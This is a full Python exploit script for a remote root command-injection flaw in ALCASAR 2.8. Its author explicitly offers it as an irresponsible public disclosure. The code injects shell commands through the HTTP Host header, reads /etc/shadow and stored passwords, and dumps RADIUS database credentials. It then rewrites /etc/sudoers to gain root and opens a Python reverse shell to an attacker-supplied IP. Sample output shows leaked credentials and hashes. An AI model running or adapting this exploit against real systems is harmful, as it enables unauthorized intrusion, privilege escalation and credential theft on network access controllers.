ALCASAR 2.8 – Remote Code Execution
#!/usr/bin/env python # -*- coding: utf-8 -*- # #### # # ALCASAR <= 2.8 Remote Root Code Execution Vulnerability # # Author: eF # Date : 2014-02-10 # # # db 88 ,ad8888ba, db ad88888ba db 88888888ba # d88b 88 d8"' `"8b d88b d8" "8b d88b 88 "8b # d8'`8b 88 d8' d8'`8b Y8, d8'`8b 88 ,8P # d8' `8b 88 88 d8' `8b `Y8aaaaa, d8' `8b 88aaaaaa8P' # d8YaaaaY8b 88 88 d8YaaaaY8b `"""""8b, d8YaaaaY8b 88""""88' # d8""""""""8b 88 Y8, d8""""""""8b `8b d8""""""""8b 88 `8b # d8' `8b 88 Y8a. .a8P d8' `8b Y8a a8P d8' `8b 88 `8b # d8' `8b 88888888888 `"Y8888Y"' d8' `8b "Y88888P" d8' `8b 88 `8b # # # ALCASAR is a free Network Access Controller which controls the Internet # consultation networks. It authenticates, attributes and protects users' # access regardless their connected equipment (PC, Pokédex, game console, # etc.). # # # ALCASAR Web UI, accessible by any unauthenticated user, suffers from a # trivial vulnerability. In the "index.php" file: # # $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']); # exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output); # # By sending a specially crafted value in the "host" HTTP header, it is possible # to inject the exec() function in order to execute commands as Apache user. # # In addition, the Apache user is able to call sudo for these binaries: # # /sbin/ip,/sbin/arping,/sbin/arp,/usr/sbin/arpscan,/usr/sbin/tcpdump,/usr/local/bin/alcasar-watchdog.sh,/usr/local/sbin/alcasar-dhcp.sh # /usr/local/bin/alcasar-conf.sh # /usr/local/sbin/alcasar-mysql.sh # /usr/local/sbin/alcasar-bl.sh,/usr/local/sbin/alcasar-havp.sh,/usr/local/bin/alcasar-file-clean.sh,/usr/local/sbin/alcasar-url_filter.sh # /usr/local/sbin/alcasar-nf.sh,/usr/local/bin/alcasar-iptables.sh,/usr/sbin/ipset # /usr/local/bin/alcasar-archive.sh # /usr/bin/radwho,/usr/sbin/chilli_query # /usr/local/sbin/alcasar-logout.sh # /sbin/service,/usr/bin/killall,/sbin/chkconfig,/bin/systemctl # /usr/bin/openssl # # As a result, we can use /usr/bin/openssl to read a file as root: # # sudo /usr/bin/openssl base64 -in /etc/shadow -A | base64 -d # # Or to create or overwrite files as root (create a cron job, edit /etc/sudoers, etc.): # # echo cHduZWQK | sudo /usr/bin/openssl base64 -d -out /etc/cron.d/pwned # # In this exploit, I choose to modify the "sudoers" file. # # Note: this vulnerability has been discovered in less than 30 seconds. # Others vulnerabilities are still present. This code has never been audited... # The PHP code is dreadful and needs to be rewritten from scratch. # # Example (post-auth) in file acc/admin/activity.php: # # if (isset($_POST['action'])){ # switch ($_POST['action']){ # case 'user_disconnect' : # exec ("sudo /usr/sbin/chilli_query logout $_POST[mac_addr]"); # # # This is not a responsible disclosure coz' I have no sense of ethics and I couldn't care less. # # # % python alcasar-2.8_rce.py alcasar.localdomain "alcasar-version.sh" # # [+] Hello, first here are some passwords for you: # Password to protect the boot menu (GRUB) : cV9eEz1g # Name and password of Mysql/mariadb administrator : root / FvYPr7b3 # Name and password of Mysql/mariadb user : radius / oRNln64j # Shared secret between the script 'intercept.php' and coova-chilli : b9Rj34jz # Shared secret between coova-chilli and FreeRadius : 7tIrnkJu # # root:$2a$08$Aw4yIxQIUJ0taDjiXKSRYu6zZB5eUcbZ4445vo1157AdeGSfe1XuC:16319:0:99999:7::: # # [...] # # admin:alcasar.localdomain:49b8642b4646a4afa38cda065f76ce0e # # username value # user $1$passwd$qr0Ajhr12fZ475a2qAZ.H. # # [-] whoami (should be apache): # uid=495(apache) gid=492(apache) groups=492(apache) # # [+] On the way to the uid 0... # [-] Got root? # uid=0(root) gid=0(root) groups=0(root) # # [+] Your command Sir: # The Running version (2.8) is up to date # # #### import sys, os, re, httplib class PWN_Alcasar: def __init__(self, host): self.host = host self.root = False def exec_cmd(self, cmd, output=False): tag = os.urandom(4).encode('hex') cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"') if self.root: cmd = 'sudo %s' % cmd headers = { 'host' : 'aAaAa index.php;echo %s;echo %s|base64 -d -w0|sh|base64 -w0;#' % (tag, cmd.encode('base64').replace('\n','')) } c = httplib.HTTPConnection(self.host) c.request('GET', '/index.php', '', headers) r = c.getresponse() data = r.read() c.close() if data.find(tag) != -1: m = re.search(r'%s, (.*)\s</div>' % tag, data) if m: data = m.group(1).decode('base64') if output: print data return data return None def read_file(self, filepath, output=True): return self.exec_cmd('sudo openssl base64 -in %s -A|base64 -d' % filepath, output=output) def read_passwords(self): self.read_file('/root/ALCASAR-passwords.txt') self.read_file('/etc/shadow') self.read_file('/usr/local/etc/digest/key_all') self.read_file('/usr/local/etc/digest/key_admin') self.read_file('/usr/local/etc/digest/key_backup') self.read_file('/usr/local/etc/digest/key_manager') self.read_file('/usr/local/etc/digest/key_only_admin') self.read_file('/usr/local/etc/digest/key_only_backup') self.read_file('/usr/local/etc/digest/key_only_manager') alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False) if alcasar_mysql: m = re.search(r'radiuspwd="(.*)"', alcasar_mysql) if m: radiuspwd = m.group(1) sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\'' self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True) def edit_sudoers(self): self.exec_cmd('sudo openssl base64 -in /etc/sudoers -out /tmp/sudoers.b64') self.exec_cmd('openssl base64 -d -in /tmp/sudoers.b64 -out /tmp/sudoers') self.exec_cmd('sed -i s/BL,NF/BL,ALL,NF/g /tmp/sudoers') self.exec_cmd('sudo openssl base64 -in /tmp/sudoers -out /tmp/sudoers.b64') self.exec_cmd('sudo openssl base64 -d -in /tmp/sudoers.b64 -out /etc/sudoers') self.exec_cmd('sudo rm -f /tmp/sudoers*') self.root = True def reverse_shell(self, rip, rport='80'): payload = 'import socket,subprocess,os;' payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' payload += 's.connect((\'%s\',%s));' % (rip, rport) payload += 'os.dup2(s.fileno(),0);' payload += 'os.dup2(s.fileno(),1);' payload += 'os.dup2(s.fileno(),2);' payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);' return self.exec_cmd('python -c "%s"' % payload) def usage(): print 'Usage: %s host command (ip) (port)' % sys.argv[0] print ' "command" can be a shell command or "reverseshell"' sys.exit(0) if __name__ == '__main__': if len(sys.argv) < 3: usage() cmd = sys.argv[2] if cmd == 'reverseshell': if len(sys.argv) < 5: print '[!] Need IP and port for the reverse shell...' sys.exit(0) rip = sys.argv[3] rport = sys.argv[4] # 80 is a good one... exploit = PWN_Alcasar(sys.argv[1]) print '[+] Hello, first here are some passwords for you:' exploit.read_passwords() print '[-] whoami (should be apache):' exploit.exec_cmd('id', output=True) print '[+] On the way to the uid 0...' exploit.edit_sudoers() print '[-] Got root?' exploit.exec_cmd('id', output=True) if cmd == 'reverseshell': print '[+] You should now have a shell on %s:%s' % (rip, rport) exploit.reverse_shell(rip, rport) else: print '[+] Your command Sir:' exploit.exec_cmd(cmd, output=True) sys.exit(1) |